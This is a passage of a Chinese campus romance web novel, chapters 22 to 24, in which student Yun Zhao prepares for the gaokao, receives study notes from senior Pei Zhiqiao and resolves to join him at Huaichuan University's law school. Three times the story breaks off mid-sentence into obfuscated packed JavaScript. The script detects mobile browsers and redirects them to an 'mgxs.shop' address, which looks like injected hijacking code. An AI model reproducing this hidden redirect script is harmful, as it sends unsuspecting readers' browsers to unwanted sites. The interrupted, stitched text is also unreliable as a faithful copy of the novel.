可他忙昏了头,记错了活动结束的时间,等他去阅览室还书的时候,值班同学正在处理活动剩下的书。 诚然,裴至峤不想这本写满云昭秀丽字迹的书被学校统一处理,他把书留了下来。 他想也许有一天,这本书会再回到云昭手中。 裴至峤继续收拾书架,裴宛因出声问他:“你现在考完了,志愿的事有什么想法没?” 裴宛因知道时晖给裴至峤打电话的事,“你想去哪所学校、想读哪个专业、哪个方向是有关你一辈子的大事,你不用一定在我和你爸之间做选择,你要是想去别的地方,妈妈也支持你。” 裴至峤没有停顿的、认真且肯定的回答:“我想好了,我还是决定填淮大法律系。我觉得这就是我想要为之努力的方向。” “你有决定就好,我不干涉你的选择。你是个成年人了,妈妈希望你能为自己的决定负责。” “嗯,我知道。” 裴宛因打开书房上锁的抽屉,拿出一串钥匙交到裴至峤手里。 “这是淮大附近公寓的钥匙,当初我和你爸离婚,这个公寓放在了你名下。既然你决定去淮大读书,以后应该用得上。” 钥匙拿在手里沉甸甸,裴至峤望着它出神。 房间的灯亮了整夜,高考后的第一个夜晚,他捧着一本《昨日的世界》失眠了。 22. 梅雨 「梅雨季来临,打湿光荣榜上他的名字。我的指尖无数次划过书页,却从没想过他会再出现在这里。写满他笔记的参考书和那个与他关系并不紧密的号码,成为我高三收到的最好的礼物。」——@福音书与祷告文 六月气温持续走高。 假后返校,果真如关栩宁所说,教室里挂上高考倒计时。迎接新高三生的仪式是一场小考,趁着考场未复原,让他们感受新出炉的真题强度。 虞岁没来得及为抄作业被发现的事担心,就得先为考试发愁。 云昭对考试的心态比虞岁好些,快速做完后检查了一遍答案,等着时间过去交卷。 指尖滑过页脚,一中自印的试卷纸质不好,量感单薄,在手里轻飘飘。相比起来,高考卷的纸张更厚实。 云昭和裴至峤做着同样的试卷,感觉却完全不同。 她捏着这份裴至峤曾做过的题目发呆,题目不难,她想裴至峤一定考得很好。他会去哪里读大学呢?还会留在淮川吗? 没得到答案,收卷的铃声响起。 教室被复原,文一班根据成绩换了新的座位。 没变的是,关栩宁依旧是云昭的同桌,虞岁从云昭后面到了云昭前面。 晚自习前的时间,教室人不多,有的人吃饭还没回来,有的人趁此喘气放松。 云昭在水池边陪虞岁扔硬币。 教学楼后的景观池,一条鱼也没有,池底都是硬币,被称作一中许愿池。 虞岁双手合十,虔诚无比的许愿。 “求保佑我这次不被武老师请去喝茶。” 硬币投进池子,激起一阵水花。 关栩宁在一边笑:“与其在这儿求,考前怎么不多复习一下?” “我复习有用吗?英语是我复习就能考好的吗?” 虞岁对自己很有自知之明,让人无言以对。 关栩宁劝虞岁好好学习,云昭没参与,手心的硬币投进水池,又激起一阵水花。 “昭昭,你许的什么愿?” 虞岁躲到云昭身后转移话题,云昭被虞岁惊得抬头,和关栩宁的目光撞在一起。 关栩宁好像看懂了云昭在为什么许愿,无趣的人难得开个玩笑。 “在许愿下一次考回第一吗?” 这回考试关栩宁是年级第一。 很长一段时间里,云昭在意能不能拿到第一。但当裴至峤的名字不再出现在光荣榜上时,她不再有那种执念。前三的名次对她来说是正常发挥,她没什么伤心。 却仍忍不住失落。 为一个不确定的答案。 考试会有标准答案,很多事没有,比如他。 虞岁笑着揽过云昭:“我掐指一算,下次你一定能考到第一,一定能超过她!” 虞岁在“报复”关栩宁劝学之苦。 关栩宁摊摊手,不置可否。 她知道云昭心里究竟想的什么,没考到第一只是掩饰失落的借口。 云昭认下这个借口,关栩宁懂她,她也明白关栩宁的好意。 水面平息,三个人手挽手回教室上晚自习。 “我觉得关栩宁说得没错,小鱼真的要好好学习了。” 虞岁惊呼:“昭昭,怎么你也这样!” “好啦,我可以给你补英语。” 关栩宁适时插话:“我也可以给你讲数学。” 虞岁捂着耳朵跑:“不听不听,你们简直是魔鬼!” 骗她的,其实跑也没用,她还是被两个人按在座位上看试卷错题。 虞岁生不如死:“我还不如被请去办公室喝茶呢!” 这学期的最后一个月就这样在题海中度过。 六月底,高考成绩公布,志愿填报如火如荼的进行。 新一周的升旗仪式,校长在主席台慷慨激昂的说着一中的上线率,云昭只听见裴至峤的名字。 他是市状元,即将成为前途光明的大学生。 阳光太刺眼,让云昭垂下了头。 期末考试前一天下午,一中空前热闹。 高三的学生纷纷回校,来确定志愿填报、领取档案。 学校被一群打扮夸张的毕业生占领,操场上支起几个小摊,摆着各种资料书和手写笔记。 这是一中的传统项目,上一届的学长学姐把自己的资料书和笔记贡献给下一届的学弟学妹,完成知识和运气的传承。 晚饭都没来得及吃,虞岁拉云昭去操场。 “昭昭,快点!去晚了就没了!” “什么没了?” 虞岁凑到云昭耳边,悄悄说:“当然是裴至峤的笔记啊!” 如果裴至峤把自己的笔记拿出来了,摆在操场上肯定很快就会被拿走,当然要早点去才能找到。 云昭点头认可虞岁的话,拿出她八百米第一名的速度,一下就没影。 “昭昭,你等等我!” 虞岁艰难的追过去,云昭已经开始在茫茫书海中搜寻。 云昭认得裴至峤的字,可对着一堆习题册看了半小时,也没看到熟悉的名字和字迹。 “小鱼,你找到没?” 虞岁对着一本书笑得花枝乱颤,云昭叫了她好几次她才听到。 很遗憾,她也没找到裴至峤的笔记。 “你刚刚在看什么这么好笑?” 虞岁没过劲,跟云昭讲话时还在笑:“不知道是谁的书,吐槽得太好笑了,就像我肚子里的蛔虫,写的全是我想说的。” 冲着这份英语学渣间同频共振的惺惺相惜,虞岁把书带走了,决定找时间再好好品鉴一番。 云昭却始终没找到自己想要的。 她开始怀疑:“是不是已经被别人拿走了?” 虞岁觉得:“不应该吧,我们来得够早了。” 无论如何,没找到是事实。 笔记传承的活动很快结束,表白墙上一些人陆续晒出自己找到的笔记。梁斯年的、司佳恩的、各路大神或是暗恋对象的。 唯独,没有裴至峤的。 云昭翻完了表白墙所有晒笔记的动态,也没有找到晒裴至峤笔记的一条。 “到底谁这么好运拿走了他的笔记?我好羡慕。” 虞岁还在看那本书,笑着安慰云昭:“万一他根本就没把笔记拿出来呢?” “你想,谁拿到状元的笔记不会发出来炫耀一下。没人晒就说明,根本没人拿到笔记。” 虞岁摆出柯南的经典动作,告诉云昭真相只有一个。 云昭小声嘀咕:“要是我真的拿到,我应该不会发出去的。” 她不敢露出一点马脚,让人察觉她喜欢裴至峤。 虞岁被云昭的话噎住,一时无语。 “我是在安慰你啊昭昭,你怎么拆我台!” 云昭腼腆的笑笑,不说话了,轻轻摇虞岁的手,求她原谅。 到最后,裴至峤那份笔记的去处无人知晓。 或许,真相就如虞岁所说,他根本没有拿出笔记。 期末考试后,梅雨季来临。 淮川进入一年中最潮湿的季节,缠绵的小雨下个不停,黏腻的触感让人不适。 高一的学生在放暑假,高二的学生留校补课,高三的毕业生接到一封又一封录取通知书。 天气预报不准,说好的阴天变成了小雨,微风轻吹,吹得人手臂发凉。 云昭撑着伞从食堂回教室,虞岁被武滢留在办公室补课,云昭帮她带了一份饭。 路过公告栏,宣传页依旧刊登着艺考生的新闻。光荣榜换了版面,这一届的录取结果出炉,裴至峤作为文科状元占据了最中心位置。 蓝底证件照上,裴至峤穿着一中的白衬衫校服,少年气的脸上露着温柔的笑。 他一如往常的模样。 照片下面写着裴至峤的高考分数和录取院校。 云昭看见了,他真的进入了淮川大学法学系。 再下面刻着一句人生宣言,裴至峤在这一栏留下简短的一句。 ——始终相信,每个明天都是晴天。 这让云昭想起高考完那天他对记者说的没头没脑的那句话。 她不明白,“晴天”对裴至峤来说有什么意义。 他很喜欢晴天吗? 风越刮越大,光荣榜狭窄的檐顶挡不住倾斜的雨水,飘洒的细雨打湿光荣榜上裴至峤的名字。 云昭紧握着被风吹变形的伞,匆忙的赶回教室。 晚自习,周测的试卷发下来,葛文斌在讲台上不厌其烦的重复着易错点,云昭无意识的在草稿纸上写下“晴天”。 回过神后,这两个字被划掉。取而代之的是“淮川大学法学系”。 云昭不知道“晴天”的意义,她只知道他在那里,在淮川大学法学系。 日历上写着今天7月23号,周四。 云昭永远记得这天,她第一次下定决心,她要去他身边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299151|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一周后,补课结束,云昭迎来了人生中最短的暑假。 这一个月里,难以理解的练习题做了一遍又一遍,那本《刑法学讲义》被反复翻阅,页脚出现折痕。 九月,中学大学一起开学。 一中的高三学生代表是颜星元,云昭百无聊赖的在台下站着,接受阳光的炙烤。 虞岁从后面拍云昭,悄悄把手机递给她:“昭昭,你快看!” 淮川大学的公众号发文迎接新生,寥寥几张照片里,出现了一张裴至峤的特写,他站在法学院的帐篷前签到。 他穿着最简单T恤,但挡不住五官底子好,到哪里都是焦点。 今天距离他们最后一次见面过去了84天,云昭再一次得知裴至峤的消息。 新鲜的照片让云昭恍惚,紧绷的弦得到一刻放松,她拿自己手机保存下这张对她来说与众不同的裴至峤。 讲话过后有颁奖环节,这次作文大赛一中成绩不佳,只有云昭一个人斩获一等奖。 获奖证书发到手里,云昭没像上次一样拿反证书,身边也没有提醒她的裴至峤。 颜星元拿了物理竞赛一等奖,合照的时候站在云昭身边。 表白的事已经过去了快一年,云昭却总觉尴尬,她与他没有任何交流,各自下台。 一中迎来一批新生,高一的学生稚嫩又吵闹,燥热的校园里充斥着各种新鲜话题。 对高三来说,高考的征程早已开始。开学第一天起,晚自习往后延长半小时。 课间休息,班里有人吐槽:“为什么我们这一届这么早就延长晚自习时间?不公啊不公!” “上一届延长时间后考得太好了,学校就觉得这半小时很重要,其实然并卵。” 云昭对多出来的半小时没什么感觉,只是放学时她发现楼道灯又坏了,让她想起那次,漆黑的环境里,裴至峤让她靠近一点。 后勤部不干人事,坏掉的灯一个月没人来修,云昭和虞岁只好每晚手挽手下楼回家。 分开的第122天,一中运动会和篮球联赛同时开赛。 云昭也来到了不再参加运动会的年级,窗外是震耳欲聋的呼喊,教室里是落针可闻的寂静。 一场考试结束,马上又有下一场考试。 接水处,云昭问关栩宁最后一道多选题选什么,发现又做错了。她心里默算自己的分数,感觉会被葛文斌批评。 “这道题确实有点绕,我也做了好久,回去给你讲吧。” “好。” 云昭盖上杯子,等关栩宁一起走。 虞岁在座位上抓耳挠腮的看英语试卷,看到云昭就像看到了救星。 “怎么办昭昭,读后续写我又读错意思了!” 虞岁很气愤:“为什么这些单词要长得这么像,根本就分不出来!” 云昭安慰她:“没关系,至少你这次政治地理考得很好。” “但是我的历史又完了。” 不稳定的成绩让虞岁有种拆东墙补西墙的感觉。 “这次的题难,我数学也没考好,成绩波动很正常。” “昭昭,你的波动是在第一和第二之间波动,我在第十和二十之间波动,没有可比性的好吗!” 虞岁更泄气了,让云昭不知道怎么继续安慰。 考试成绩第二天就下发。淮川下了一场雨,漫长的、喧嚣的夏天过去,淮川进入凉爽的秋天。 十一月初,高三举行了一场六校联考。年级主任一再强调,务必要保住一中第一的位置。 整个高三进入战备状态,考完联考,还有一模。 梨园路的小洋楼灯火不息,云昭坐在书桌前,笔尖在草稿纸不断划过,抛物线、双曲线出现在同一个坐标轴里。 黎梦秋轻敲房门,端着果盘和牛奶进来。 “这么晚了还在做题吗?累不累呀?” 云昭笑着回应:“不累的,还有一点就做完了。” “要是做不完就不做了,你们老师怎么布置这么多作业,每天都做到这么晚身体受不了生病了怎么办?” 黎梦秋担心云昭的身体,眉头皱在一起。 云昭解释:“不是老师布置的,是我想考得更好一点。” 黎梦秋不明白:“这么拼命干什么?” 云昭一向不是要强的人。 云昭笑着让黎梦秋不要担心,至于拼命的原因…… 那是个不能告人的秘密。 23. 礼物 高强度的复习持续一周,六校联考终于结束。 课代表把成绩单发到每个人手里,云昭的努力没有白费,这个第一对得起她的付出。 老师都去开成绩分析会,班里闹哄哄的,七嘴八舌的谈论着这次考试。 有人在笑,庆祝自己蒙对了最后一道选择题;有人在悄悄落泪,为一再下跌的名次感到难过。 云昭桌上摆着答题卡,错题已经改完。她再次翻开裴至峤留下的那本书,指尖轻划过页脚。 她决定给自己一个晚自习的时间放松,看这本和考试没关系的课外书。 也可以说,她是在想他。手指每划过一次书页,脑海里就出现他的样子。 秋天短暂,一晃而过。 香樟的叶子洒满道路,昭示着最冷的季节到来。 紧接着就是一模。 接连不断的考试让学生们感到疲乏,还没从上一次考试的余浪中缓过,下一次考试就又来了。 一模是八省联考,出题的不是淮川的老师。 云昭在考场上如坐针毡,不熟悉的出题套路让她预见这次考试的结果不会太好。 考完试回班,云昭听到了有史以来最大的吐槽声浪。 虞岁又气又伤心,完形填空的选项全是生僻词,连关栩宁也说文综的题目出得太偏,很难想到答案。 “你呢昭昭,你考得怎么样?” 云昭拿着试卷对答案:“数学肯定是完了,其他不知道,看老师怎么判卷吧。” 文科题目主观性强,老师怎么判卷谁也说不准,也许还有转机。 教室一片哀嚎:“完了完了,这个寒假是过不好了!” “还想着过寒假呢,补课补多久都不知道,考成这样我们真的还有寒假吗?” 一语成谶。 一中一模考得不好,寒假的补课在原定计划上延长一周。 一模成绩出来那天,是裴至峤离开的第216天。 刺眼的数学分数让云昭躲在楼道悄悄哭了一场,这次没听到安慰她的冷笑话。 学校变得很安静,高一高二放假,高三沉浸在高考的紧张氛围里,失去所有活力。 上午最后一节课,武滢宣布下午在大礼堂有讲座,关于高考和志愿填报,所有高三生都要去听。 无聊又占时间的讲座是以前最不喜欢的,但对于一直在上课的高三生来说,这是难得的放松时刻。 有人带着练习题去礼堂,云昭也顺手拿了本习题册。 下楼时路过办公室,云昭听到一个有点耳熟的声音在和葛文斌说话。她朝里面望一眼,什么都没看到,就被虞岁催促着往前走。 讲座上有几个大学来宣讲,介绍学校环境和专业优势。讲到淮大的时候,云昭放下了带来的习题,专心听了一会儿。 淮川大学王牌专业很多,除了法学,金融、管理、物理、艺术等专业也很不错,每年招收的文科生很多,对文科班来讲是好选择。 一中重点班每年为淮大输送不少学生,淮大招生办挺重视一中,讲座结束后,又在三个重点班单独召开了一场宣讲会。 武滢招呼好班里纪律,站在讲台上请宣讲的同学进来。 “下面欢迎就读于淮川大学法学系的学长进行宣讲。” 云昭觉得挺凑巧,来宣讲的恰好是法学系的,待会儿或许可以问问这位学长淮大法学系招生的问题。 其实有一刻,云昭希望来宣讲的这个学长就是裴至峤。但法学系人那么多,是他的可能微乎其微,云昭尽量让自己不那么期待,这样可以少点失望。 云昭拿出笔记本,望向讲台的方向,准备认真听一听宣讲。 久违的熟悉声音传来。 “大家好,我是一中毕业生裴至峤,现就读于淮川大学法学系……” 握笔的手松开,笔尖戳在纸上晕出一片墨迹。 惊愕溢于言表,云昭望向裴至峤的眼神呆滞。 不知是有意还是无意,裴至峤自我介绍完后笑着,恰好和云昭的目光撞上。 他笑得太理所当然。 台下掀起一片惊呼,被考试折磨得眼神无光的学生们看见裴至峤就像看见了星星,女生们尤其兴奋,七嘴八舌的讨论。 “怎么没跟我说来宣讲的是裴至峤啊!” “真好啊,现在还能让我看一眼帅哥,但见之前能不能先通知我一下,我现在这个灰头土脸的样子适合见人吗?” 声音太大,武滢不得不出来维持纪律。 班里同学不甘心的闭嘴,云昭刚从震惊中缓神。 多媒体上放着PPT,裴至峤认真宣讲淮川大学和法学院。云昭一句笔记也没记,她承认,她被美色吸引,被裴至峤的突然出现冲昏头脑,失去一切思考能力。 宣讲的最后是问答环节,虞岁使眼色让云昭举手,这是难得的和裴至峤对话的机会,以后还有没有可说不准。 但云昭没举手,她不敢。 虞岁恨铁不成钢。 机会落到另一个女生手里,她大胆问裴至峤:“学长,你们法律系的学生都跟你一样帅吗?” 台下爆发出一阵更大的惊呼,连裴至峤都有一瞬错愕。 这个问题不好回答,是或不是都是死路。 停顿几秒,裴至峤微笑着回复:“这个问题你来淮大看看就知道了,欢迎同学们报考法律系。” 尴尬被化解,公开问答的环节结束。 淮大的学生没走,有真诚想报考淮大的同学可以去加淮大的官方企鹅号咨询。 正值晚饭时间,讲台旁围了一圈人,裴至峤和他的同学被包围着已经看不见人了。 虞岁要拉着云昭也过去:“刚才你都没举手,这次不能还不去吧!你不是刚好想考淮大吗,问问你直系学长不是很正常的事吗!” 云昭不敢上前,觉得这是一种刻意。 “刻意什么!这么多人都在,你去要官方账号又不是去要裴至峤的联系方式,你怕什么!” 虞岁一把将云昭推出去:“我帮你带饭,一定要好好跟他‘咨询’一下。” 云昭被一下推到裴至峤身边,虞岁却一溜烟没影。 “云昭。” 云昭还在想怎么开口,裴至峤先叫了她的名字。 他还记得她,云昭有一丝丝的欣喜,轻声叫他:“裴学长。” “你对淮大有兴趣吗?有什么关于淮大的问题可以问我。” 面对裴至峤,云昭脑子转不动,一时想不出有什么好问的。 “学长,我想加一下学校的官方账号可以吗?” 很多东西在裴至峤面前问不出来,云昭想加账号以防万一。 “当然可以。” 裴至峤从包里找出一张卡片,放在云昭手心里。卡片上印着淮大官方企鹅号的二维码和招生办联系方式。 裴至峤贴心解释:“要是有问题可以在官方号上直接问,值班的学生干部和老师会及时回复。” 云昭端详着卡片,她手里这张看起来和其他人得到的没什么两样。 “我知道了,谢谢裴学长。” 待在裴至峤面前云昭不自觉紧张,道谢过后她就不打算再打扰他。 裴至峤却叫住了她:“云昭,等等。” 他追出教室,饭点的走廊空旷无人,只余萧瑟的风声。 云昭转头,看见风刚好吹乱裴至峤的头发。他手里拿着一个笔记本。 “前几天收拾房间找到高考时的笔记,这些本来是要放在上次的活动里送给学弟学妹。我当时不在淮川,阿年忘了帮我拿到学校来,所以一直没送出去。” “这些笔记我留着没有,扔了可惜,今天刚好遇到你,送给你吧?” 突如其来的大礼让云昭惊得无法呼吸:“给我?” 她嘴比脑子更快的问出:“为什么是我啊?” “我不认识其他高三的学生。” 云昭是他心里唯一一个。 “如果你不需要这些笔记的话,就帮我给其他需要的人吧。” 云昭又一次嘴比脑子快:“需要的!” 然后她欲盖弥彰的解释:“我也想沾沾市状元的运气。” 裴至峤笑了:“好,让你沾沾运气,就当是感谢你当时祝我考试顺利,毕竟那场考试真的很顺利。” 顺利到考了市状元。 “云昭,也祝你高考顺利。” 顿了一秒,裴至峤又补充一句:“我在淮大等你。” 心跳停在这一刻,云昭僵在原地失去一切思考能力。 裴至峤居然说他等她。 没有什么比这更让她坚定的考去淮大。 这天,离高考还有148天,云昭再次和裴至峤见面。 她收到了写满裴至峤笔记的参考书,和他等她的一句承诺。她捏紧那张写着淮大官方账号的卡片,这个与他关系并不紧密的号码成为云昭与他的唯一链接。 这是云昭觉得高三收到的最好的礼物。 冬季昼短夜长,天黑得很早。晚自习前,天色完全暗沉,裴至峤和同学离开一中。 “多亏你联系一中的老师,我们才能在班里单独宣讲。剩下的报告交给我们写吧。” 裴至峤说没事,让他们早点回去:“我们开学再见。” 淮大组织了寒假校园行实践活动,学生们组队去各个中学进行招生宣讲。 裴至峤和一中老师关系不错,联系了一下葛文斌。反正是为了自己的实践活动,没什么麻烦的,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303441|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是付出了一点曾经的笔记。 出租车停在校门口,裴至峤和他们不顺路,一个人上车回家。 他靠在窗上,路灯的光透进来。出租车路过熟悉的公交站台,他想起今天下午在办公室的时候。 葛文斌让裴至峤帮忙登记一模的成绩,他看到了云昭的试卷,她数学没考好。 他不知道她会不会像以前一样躲在楼道里哭,但愿那些笔记真的对她有帮助。 裴至峤想,如果真的能在淮大等到她就好了。 一岁的差距是命运的阴差阳错,他们谁也无法改变。 只是彼此都觉得一年太长,错过太多。 晚自习上数学,葛文斌拿着一沓资料进教室,让课代表发下去。 “这是我特地给你们要来的学长笔记,他作为文科生高考数学能考满分,我相信我们班也有人能做到。这次一模的题确实出得偏了一些,也说明大家知识点掌握得还不够熟练。马上就要高考了,我不希望大家栽在数学这个科目上。秘籍都发给你们了,大家认真学!” 前面的人把复印的资料传下来,云昭接手的第一眼就认出了。 是裴至峤的字迹。 和下午他给她的那份一模一样。 不,好像也不太一样。 裴至峤给她的那份内容更多,还有好几个重点专题的详细讲解。 讲台上,葛文斌也拿着一份资料,准备给学生补充一些平时不怎么讲一模却考到的考点。 他拿的也是一份复印件。 真正的原件在云昭手里。 云昭的思绪拐了几个弯才意识这份与众不同。 她摸不清裴至峤是不是故意,但这份笔记确实在她手里。 一整节晚自习,云昭没听进去老师讲了些什么,却把整本笔记完整看了一遍。 裴至峤把知识点写得清晰、详细,不止有书上写的公式,还总结了很多二级结论,做题的时候用可以事半功倍。 最重要的是,云昭几个掌握薄弱的部分笔记里都归纳了专题讲解。 云昭觉得这不是一本普通笔记,像一本独属于她的通关秘籍。 “昭昭走了,回家了。” 放学了,虞岁叫醒沉浸在裴至峤的世界里的云昭。 “你在想什么傻笑成这样?只是见到了裴至峤、拿到淮大的的账号不至于这么兴奋吧?” “当然不是!” “那是为什么?” 云昭依旧在笑着,虞岁催促她快说。 云昭故作神秘:“这是秘密。” “什么秘密连我都不说?不行快跟我讲!” 最终迫于虞岁的淫威,云昭还是跟她坦白。 漆黑的楼道里,云昭和虞岁挽着手避免摔倒。 虞岁越听越觉得不对劲:“怎么感觉裴至峤对你太好了?” “好到都让我以为他是不是也喜欢你了。” 云昭被虞岁的语出惊人吓到:“这怎么可能!” “怎么不可能?不然他为什么只把笔记给你?” 虞岁说得很有道理,云昭很难反驳。 “可是他自己跟我说他不认识别人才把笔记给我的。” “这明显就是借口!要不是为了给你,他直接把原件给葛大爷不就行了!但!他给葛大爷的是复印件,给你的才是原件!” “昭昭,我恨你是块木头!” 这话更有道理,云昭干脆不反驳了,因为她无法反驳。 夜里,云昭洗漱完躺在床上,辗转反侧难以入眠。 她从校服口袋里找出那张卡片,拿手机扫了二维码。 软件跳转出一个账号,头像是淮川大学的蓝色校徽,昵称那一栏写着「淮川大学官方」,个性签名是淮大校训。空间动态很干净,什么也没发过。 云昭发送了好友申请。 刚发完提示音就响起,显示对方已通过好友申请。 对方发来一条消息: 「这里是淮川大学官方,有问题请留言~」 云昭疑惑,这么晚还有人在运营账号吗?应该是自动回复吧。 她没再管了,放下手机强迫自己睡觉。 一闭上眼,裴至峤那张脸又出现。云昭躲进被子,一种难以克制的兴奋席卷着她。 另一种难以克制的兴奋也在席卷裴至峤。 从那张卡片递出去开始,裴至峤就将软件界面切到小号。 晚上11:32,账号收到一条好友申请,ID叫Wolke,头像是云朵。 他一下就猜到这是谁。 裴至峤通过了申请,用官方的语气发了一条消息,装作是自动回复。 也许是太兴奋,让他们都忽略了自动回复和手动回复的区别。 24. 方向 「我站在他曾站过的地方,经历他曾经历的过往。教学楼下的钢琴再次响起,这次,时间推走的是我十八岁。命运的洪流中,我拼命游向有他的方向。」——@福音书与祷告文 一周后,一中补课结束。 对高三来说,寒假很短,仅仅两周里充斥着各个科目的试卷,让人叫苦不迭。 大年初一,云昭短暂的从题海脱离。 有人来云家拜年,亲戚问起云昭是不是今年就高考。 “昭昭想考哪个学校?” 云昭没来得及回答,黎梦秋先说考哪个学校都好。 他们不想给云昭压力,怕云昭因为没达到说出的目标而伤心难过。 亲戚们见状没再多问,只说云昭成绩好,考哪个学校都能考上。 晚上,云昭在房间看网友总结的春晚考点,黎梦秋给云昭送牛奶。 “今天过年就要好好休息一下,明天再学吧。” “我不累妈妈,我看一会儿就去睡了。” 云昭要看,黎梦秋也不能拦她,只能提醒她累了就要休息,身体最重要。 “每天都这么用功,是不是有想去学校了?” 黎梦秋了解云昭,她不是事事要强的人,但想做的事一定要做到。 云昭握着牛奶杯,笑着点头:“妈妈,我想考淮川大学,你会支持我吗?” “当然了!你想考哪里爸爸妈妈都支持你。” 云昭笑容更盛,她觉得很幸运,有这样支持她、理解她的父母。 “但说好了不能学得太晚,该休息就要休息。” “嗯,我知道。” 云昭喝完牛奶乖乖上床睡觉,黎梦秋这才放心。 没几天假期结束,高三返校上课。 二模之前,一中召开百日誓师大会。 云昭被选为学生代表,教导主任要求发言稿必须写得慷慨激昂,要激起同学们的信心。 忙碌的复习中,云昭抽出时间反复改了几遍稿。终于,三月初一个明媚的阳光天,她站上主席台。 阳光照在身上的时候,云昭感叹时间的腐朽与神奇。 去年的今天,也是阳光明媚,春天的气息洒遍每个角落。 裴至峤站在主席台演讲,声音清朗。 现在,云昭站在他曾站过的地方。 她像他当时一样,读着激扬的演讲稿,鼓励无数人向前走,去追寻理想的答案。 而云昭的答案,被裴至峤一起带走了。 教室里挂着的倒计时从三位数变成两位数,写着目标院校的便利贴粘在主席台下放的留言板上。 “淮川大学法学系”几个字笔迹秀丽,与去年重合,成为云昭要去点亮的未来。 很快,高三被二模席卷。 依旧是八省联考,依旧不是淮川的老师出卷。经过三个月的复习,他们与一模时截然不同。 劳动节前,二模成绩公布。 淮川一中的上线率勇夺八省第一,六百分以上的学生更是甩其他学校一大截。 高三迎来一个可以喘气的五一,即使五天假期缩成两天,学生们依旧兴奋得上蹿下跳。 虞岁转过头和云昭说话:“昭昭,五一你有事没?” 除了做题外,云昭没事:“怎么了,要我帮你做什么吗?” 虞岁嘿嘿笑着,觉得云昭果然了解她。 “想让你陪我去拜文殊菩萨。” 关栩宁在一旁笑虞岁:“楼下的许愿池没够?还要专门去拜一场文殊菩萨。” “哎呀!要高考了嘛,肯定要去求菩萨保佑考个好成绩!” “与其求菩萨,你还不如多做两道题。” 虞岁说得头头是道:“你不懂,虽说事在人为,但有些运气是天意。” 云昭和关栩宁还是不理解。 虞岁开始死缠烂打:“哎呀陪我去吧,求一求更安心。” “好吧好吧,去吧。” 云昭先妥协,关栩宁没这种死缠烂打的阵仗,也逐渐松口。 凌云寺在凌云山上,她们约在凌云山下见。 云昭穿着方便活动的T恤牛仔裤赴约,和虞岁关栩宁去售票处买缆车票。 五月,天已经热起来,几个人都没有爬山上去的想法,坐缆车是最好的选择。 缆车上风景很美,凌云山绿意盎然。 虞岁拍了好多照片,云昭却不敢往下看一眼。 “怎么一直闭眼?其实这儿挺漂亮的。” 云昭闭着眼睛皱着眉解释:“我有点恐高。” 云昭以前没说过,所以关栩宁不知道。 也是因为这个,当时虞岁问起来凌云寺的时候她才犹豫。 “恐高怎么还答应来坐缆车?严重吗?” 云昭心态挺好:“其实没多严重,我不看就好了,反正几分钟就下去了。” 文殊殿在凌云寺东侧,她们从缆车上下来走了几分钟。 临近高考,来拜文殊菩萨的人不少,她们排队进去上香、拜愿。 行完拜礼,虞岁从包里掏出一支笔,在香炉上绕了三圈。 关栩宁又不明白了:“你……这是在干什么?” “借菩萨智慧保佑我啊!” 虞岁“虔诚”的把笔放回包里:“我决定了,考试当天我要用这只开光的笔,狠狠惊艳你们一把!” 云昭和关栩宁觉得虞岁过于迷信。 虞岁疑惑:“你们都没带笔来吗?” “没。” “我连寺庙都是第一次进,你指望我知道什么规矩吗?” 云昭和关栩宁都不是相信这些的人。 虞岁说她们不上进,关栩宁反驳上进也不是用在这种地方的。 “来都来了,顺便去求个学业符吧!这样就是双重保障!” 关栩宁失笑:“这算哪门子的双重保障?” 反驳无效,她们还是被虞岁拉去求学业符。 云昭问:“你忙前忙后的求神拜佛究竟想上哪个大学,有这么难考吗?” 虞岁摊摊手,理所当然的说:“不知道,等出分之后再考虑吧,我先把考试这一关过了!” 一幅无所谓的样子让云昭都替她着急:“都到这个时候了,你还没想好读什么大学?你对自己的未来上点心吧!” “应该很多人都没想好吧?” 虞岁话头转向关栩宁:“你想好读什么大学了?” 关栩宁点头:“想好了。” 虞岁震惊又慌张:“真的假的?” “真的。” 在两双满怀期待的眼睛注视下,关栩宁坦白了自己的目标院校:“江城大学,心理学。” 云昭提醒:“听说文科生考心理学很难,很多学校都不招,你真的决定好了吗?” “我知道,我也想好了。我上网查过,文科也可以报考江城大学的心理学系。” 云昭轻轻说着:“挺好的。” 挺好的,大家都有自己要去追寻的未来。 关栩宁反问云昭:“那你呢?想考哪里?” 虞岁比云昭本人更激动:“我知道我知道!我们昭昭当然要靠淮川大学法学系了!” 一点羞涩爬上脸颊,云昭很不好意思的承认了虞岁说的实话。 关栩宁笑着:“我果然没猜错,你还是选择了淮川大学。” 一年前她就知道,云昭想要去裴至峤身边。云昭没和她说过,但她就是知道。 这是她们之间秘密的默契。 “那就祝你得偿所愿。” 云昭回:“祝你也是。” 虞岁不乐意了:“怎么不祝我?” “你连愿都没有,怎么祝你?” 虞岁气得立马就许了个愿:“那我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 